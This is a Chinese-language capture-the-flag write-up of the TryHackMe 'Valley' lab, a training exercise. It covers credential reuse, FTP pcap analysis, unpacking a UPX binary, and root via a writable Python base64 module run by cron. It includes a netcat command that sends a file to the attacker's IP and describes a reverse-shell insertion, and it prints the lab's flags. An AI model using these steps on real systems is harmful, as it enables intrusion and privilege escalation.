Valley 靶机渗透实战:从凭证复用到 Python 库劫持
Valley 靶机渗透报告 - TryHackMe
本文详细记录了我渗透 TryHackMe 平台"Valley"靶机的完整方法论。该靶机突显了凭证复用、硬编码密钥和系统文件访问控制不当带来的安全风险。
侦察阶段
我首先扫描目标机器以识别开放端口和服务。为了平衡速度和全面性,我使用了侵略性 SYN 扫描。

初始扫描显示端口 22(SSH)、80(HTTP)和 37370 处于开放状态。
为了获取详细的版本信息并运行默认脚本,我执行了后续服务扫描。

结果:
端口 22:OpenSSH
端口 80:Apache httpd 2.4.41(Ubuntu)
端口 37370:vsftpd 3.0.3
枚举阶段
我使用 gobuster 发现 Web 服务器上的隐藏目录。

扫描发现了几个目录:/gallery、/static 和/pricing。"Valley Photo Co."网站是一个简单的宣传网站。检查源代码没有发现有趣的内容,于是我探索已发现的目录。

我注意到/gallery 部分中的图像是从/static/目录加载的,带有数字 ID(例如/static/1)。我决定对/static/目录进行模糊测试以寻找其他隐藏文件。

这次扫描发现了一个名为/00 的文件,它比图像文件小得多。访问/static/00 显示了一条来自开发人员 valleyDev 的笔记,其中提到了一个隐藏的开发目录:/dev1243224123123。

访问/dev1243224123123 端点显示了一个登录页面。

在没有有效凭证的情况下,我检查了页面源代码。JavaScript 身份验证逻辑是客户端的且为明文。

我在登录表单上使用了这些凭证(siemDev:california),这授予了对另一个笔记的访问权限。该笔记是向员工发出的关于为 FTP 服务复用凭证的警告。这明确提示我尝试在端口 37370 上运行的 vsFTPd 服务上使用这些凭证。

利用阶段
我使用发现的凭证连接到 FTP 服务。

登录成功。我找到了三个.pcapng 网络捕获文件。

在启用被动模式后,我使用 mget *将它们下载到我的机器上。

我使用 Wireshark 分析数据包捕获。HTTP2.pcap 文件包含了最有趣的数据。在过滤掉 UDP 数据包并专注于 TCP 流后,我在 TCP 流索引 31 中发现了一个明文 HTTP POST 请求。

该请求发送到/index.html,并包含凭证 valleyDev:ph0t0s1234。我尝试使用 Burp Suite 自己 POST 到/index.html,但没有产生任何结果。相反,我尝试在端口 22 上通过 SSH 使用这些凭证。

登录成功,我获得了第一个标志(user.txt)。

权限提升
我开始枚举系统以寻找权限提升向量。我检查了/etc/crontab 文件,发现了一个每分钟以 root 身份运行的 cron 作业:

这个位于/photos/script/photosEncrypt.py 的脚本将照片编码为 Base64。该脚本循环遍历/photos/中的图像(p1.jpg 到 p6.jpg),读取它们,进行编码,并将输出保存到/photos/photoVault,扩展名为.enc。

我无法修改或删除原始的 pX.jpg 文件,因为它们由用户 valley 拥有,而不是 valleyDev。我的下一个目标是横向移动到 valley 用户。

在/home 目录中,我找到了一个名为 valleyAuthenticator 的 ELF 二进制文件。执行时,它会提示输入凭证,但我收集的凭证无效。

我决定使用 nc 将此文件传输到我的机器。我首先验证了 netcat 是否已安装在机器上。

然后我将 nc 切换到监听器模式,指定我将要给接收的文件命名。

最后一步,从发送文件的机器上,我使用了以下命令:nc 10.13.91.64 4444 < valleyAuthenticator
文件在我的机器上后,我使用了 strings 命令并将输出保存到文本文件。

为了高效分析字符串,我使用了 CyberChef。我将 strings.txt 文件上传到 CyberChef,并应用过滤器仅显示具有显著长度(例如 21 个字符)的字符串以找到有意义的数据。在结果中,我立即注意到了一个明确的指示符:字符串"UPX!",这确认了二进制文件是使用 UPX 打包的。

我使用命令upx -d valleyAuthenticator
解包了二进制文件。然后我再次对解包后的二进制文件运行 strings,保存新输出,并将其上传到 CyberChef。

重新应用过滤器后,我在文件开头附近找到了两个 MD5 哈希。

我使用在线哈希破解服务(CrackStation)解密它们,得到了明文凭证。

我使用这些凭证切换到 valley 用户。

现在作为 valley 用户,我需要重新评估通往 root 的路径。我最初的想法是通过修改源图像(p1.jpg - p6.jpg)来利用此脚本。然而,我发现我无法删除或在该目录中创建新文件;我只能修改现有文件。
过了一段时间,我记得脚本导入了 base64 模块,我考虑如果我有正确的权限,可以劫持该导入。
我使用 id 命令检查了我的组成员身份,发现我是 valleyAdmin 组的成员。

然后我检查了 Python base64.py 库的权限,看看我的组是否有写访问权。

该文件可由 valleyAdmin 组写入。由于我是该组的成员,我可以修改它。我使用 nano 编辑了/usr/lib/python3.8/base64.py,并插入了一个 Python 反向 shell 有效载荷:

我在我的机器上启动了一个 netcat 监听器,并等待 cron 作业执行(在一分钟内)。脚本导入了恶意的 base64 模块,该模块执行了我的反向 shell 代码,授予我一个 root shell。

我成功以 root 身份接收到了连接,并可以检索最终标志(root.txt)。

问题答案
用户标志是什么?THM{k@l1_1n_th3_v@lley}
根标志是什么?THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
就这些!感谢阅读,下次再见!希望这份报告对您有所帮助。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码

评论